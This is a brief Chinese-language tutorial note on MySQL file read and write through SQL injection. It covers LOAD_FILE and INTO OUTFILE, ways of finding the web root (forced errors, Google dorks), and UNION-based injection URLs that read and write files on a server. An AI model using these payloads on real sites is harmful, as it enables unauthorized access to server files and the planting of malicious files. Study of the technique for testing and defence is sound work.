SQL文件操作原理
在判定数据库连接权限的条件下,利用SQL操作函数
SELECT LOAD_FILE('E://test.txt') #下载文件
or
SELECT 'nihao' INTO OUTFILE 'E://test1.txt' #上传写入文件
语句对网站服务器进行本地文件操作。
一般只有root连接用户才能进行文件操作。
攻击步骤:
1.获取网站路径
@通过恶意制造访问错误,在错误中暴露网站路径
@通过谷歌黑客访问,site:xx.com warning
@通过搜索项目使用框架名字
2.获取服务器文件内容
http://127.0.0.1/?id=1 union select 1,2, load_file('E://test.txt')
3.写入并上传文件到服务器
http://127.0.0.1/?id=1 union select 1,2,'this is test' into outfile 'E://test2.txt'